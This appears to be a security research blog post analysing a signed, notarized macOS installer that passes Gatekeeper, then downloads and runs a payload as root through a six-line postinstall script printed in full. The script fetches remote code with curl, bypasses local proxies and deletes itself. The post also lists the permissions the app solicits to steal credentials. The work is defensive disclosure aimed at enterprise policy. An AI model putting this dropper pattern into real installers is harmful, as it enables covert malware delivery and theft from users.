Invental/ Research/ Notarized macOS malware
Research / macOS — 29 · Aug · 2026 · 7 min read

Can notarized macOS software still be malware?

Yes — and the gap is structural, not a bug. Notarization scans what you submit. It does not constrain what your software does ten seconds after it installs. Here is the verification output from a live sample that passes Gatekeeper clean, and the six lines that make it work.

IN
Invental Research
Code signing & notarization
29 · Aug · 2026
7 minutes
Invental · Research macOS / Gatekeeper Notarized.
Still malware.

Yes. Apple's notarization is an automated malware scan of what is inside the package — not a guarantee about what the package will do once it runs. An installer can pass notarization, satisfy Gatekeeper without a single warning, and then download and execute its actual payload as root.

We hold a signed, notarized, Gatekeeper-accepted sample that does exactly that. Here is the verification output, and here is why the gap exists.


§ 01What notarization actually checks

Three separate mechanisms get conflated, and the difference between them is where the risk lives.

Three mechanisms, three different guarantees
What it isWhat it proves
Code signingA Developer ID certificate signs the codeWho published it, and that it has not been altered since
NotarizationApple's notary service runs an automated scan of the submitted softwareNo known malicious content was found in the submission
App ReviewHuman review, App Store onlyDoes not apply to anything distributed outside the App Store

Software downloaded from the web is code-signed and notarized. It is not reviewed. Notarization is a scanner, and it inspects the artifact you submit — a static thing, at a single moment in time.

Nothing in that process constrains what the software does at runtime.

§ 02The gap, in one sentence

A macOS installer can run scripts as root at install time, and those scripts can fetch their payload from the internet after the scan has already passed.

The whole technique, stated plainly

.pkg installers support preinstall and postinstall scripts. When the package declares auth="root", those scripts run with full system privileges. If the script itself contains nothing malicious — only the instruction to go and get something later — there is nothing for a scanner to find.

The malicious code never sits inside the notarized artifact. It arrives afterwards.

§ 03The evidence

A live sample collected on 29 August 2026, distributed through paid Facebook advertising impersonating a cryptocurrency exchange. Analysed statically; never executed. It is properly signed and notarized:

$ pkgutil --check-signature installer.pkg
   Status: signed by a developer certificate issued by Apple for distribution
   Notarization: trusted by the Apple notary service
   Signed with a trusted timestamp on: 2026-08-26

$ spctl -a -vvv -t install installer.pkg
   installer.pkg: accepted
   source=Notarized Developer ID

— Verification output, reproduced verbatim

accepted. No prompt, no warning, no "unidentified developer" dialog. A user who does everything right sees nothing unusual.

The entire postinstall script is six lines:

#!/bin/bash
_t=$(mktemp /private/tmp/wp-setup-XXXXXX)
curl -fsSL --max-time 30 --noproxy '*' 'https://<redacted>/setup.sh' -o "$_t" 2>/dev/null || { rm -f "$_t"; exit 0; }
bash "$_t"
_r=$?
rm -f "$_t" 2>/dev/null
exit $_r

— The dropper in full. Payload domain redacted pending disclosure

That is the whole trick. Six lines, no obfuscation, nothing a scanner could flag as malicious — because on its own it is not. It downloads a file and runs it, as root, and deletes the evidence.

Note --noproxy '*'. That flag exists to bypass any local inspection proxy. It is deliberate.

Because the payload is fetched at install time rather than shipped, the operator can change it, withhold it from analysts, serve different code by region, or turn it off entirely while under scrutiny. Every copy of the installer is identical and permanently benign on disk.

§ 04Then it asks the victim for everything

The installed application ships a localized permission flow — in our sample, eleven translated languages, with thirty-four declared — that walks the user through granting, with a polished drag-and-drop interface:

What the app requests, and what each grant is worth to an attacker
RequestedWhat it hands an attacker
AccessibilityRead and drive every other application's interface
Full Disk AccessDocuments, browser profiles, keychain databases, wallets
Input MonitoringKeystrokes — passwords, recovery phrases
Screen RecordingAnything on screen, including one-time codes
App ManagementModify or replace already-installed applications

The binary carries the matching Accessibility automation calls to use them. Once Accessibility is granted, software does not merely observe your other applications — it can operate them.

None of this requires an exploit. It is a dialog, and a persuasive interface asking the user to say yes.

§ 05Why this matters for enterprise policy

Many organisations treat "signed by a Developer ID" or "notarized" as an allowlist condition in MDM, endpoint policy, or a software-approval workflow. It is a reasonable-sounding rule, and it is the assumption this technique is built to defeat.

Notarization tells you a scanner found nothing at submission time. It tells you nothing about runtime behaviour, and nothing about what the software will download ten seconds after installation.

Concretely, if your macOS posture depends on notarization status:

This is the same class of problem as trusting a dependency because it is popular rather than because anyone read it — the provenance question that SCA and the wider application security toolchain exist to answer for the code you ship. The signature answers who. It never answered what.

§ 06The uncomfortable part: this is a kit

The application in our sample is named Whitelabel, with the bundle identifier com.whitelabel.desktop. Its branding lives in a single configuration file that still contained placeholder values when we opened it. It declares thirty-four localizations.

This is not a bespoke attack on one exchange. It is a re-skinnable product, and the brand it wears is a one-line edit. Today it is a cryptocurrency exchange. It fits a bank, a tax portal, a payroll provider, or an internal tool your staff have been told to install.

§ 07What actually helps

Frequently asked questions

Does notarization mean Apple checked the app?+
It means an automated service scanned the submission for known malicious content. No person reviewed it, and nothing about its runtime behaviour was evaluated. Human review applies to the App Store, and software distributed from the web does not go through it.
Can notarized software be revoked?+
Yes. Apple can revoke the signing certificate, which prevents the software from launching on machines that can perform the check. This is why reporting matters — revocation affects installations that already happened, not only future downloads.
Is Gatekeeper broken?+
No. Gatekeeper did precisely what it is specified to do: verify a valid signature and a valid notarization ticket. Both were genuine. The technique does not defeat Gatekeeper — it complies with it.
Would an EDR product catch this?+
Behavioural detection may catch the install-time fetch or the payload it retrieves. Signature and reputation-based checks will not — the installer is legitimately signed, notarized, and byte-for-byte identical across every victim.
Is this specific to cryptocurrency applications?+
No. The delivery is brand-agnostic and the branding is a configuration file. Cryptocurrency is a lucrative first target because credential theft converts directly to irreversible transfers, but the same installer fits a bank, a tax portal, a payroll provider or an internal tool.
Is a notarized Mac app safe to install?+
Notarization tells you that a scanner found nothing known-malicious in the package at submission time and that the signature is intact. It is an authenticity signal, not a safety verdict. Treat approval of a .pkg as approval of arbitrary code execution as root, because installer scripts run with full privileges and can fetch code from the internet after the scan has passed.

— Research by Invental, a software studio in Montevideo. Static analysis only; the sample was never executed, and no request was made to attacker infrastructure. The payload domain and full indicators are withheld pending vendor disclosure. Corrections and takedown requests: hi@invental.co.

← Related writing

Application security analysis tools: SAST, DAST, SCA & ASPM, explained.

AppSec · Jul 2026
Next essay →

Open-source AppSec tools — and when you outgrow them.

AppSec · Jul 2026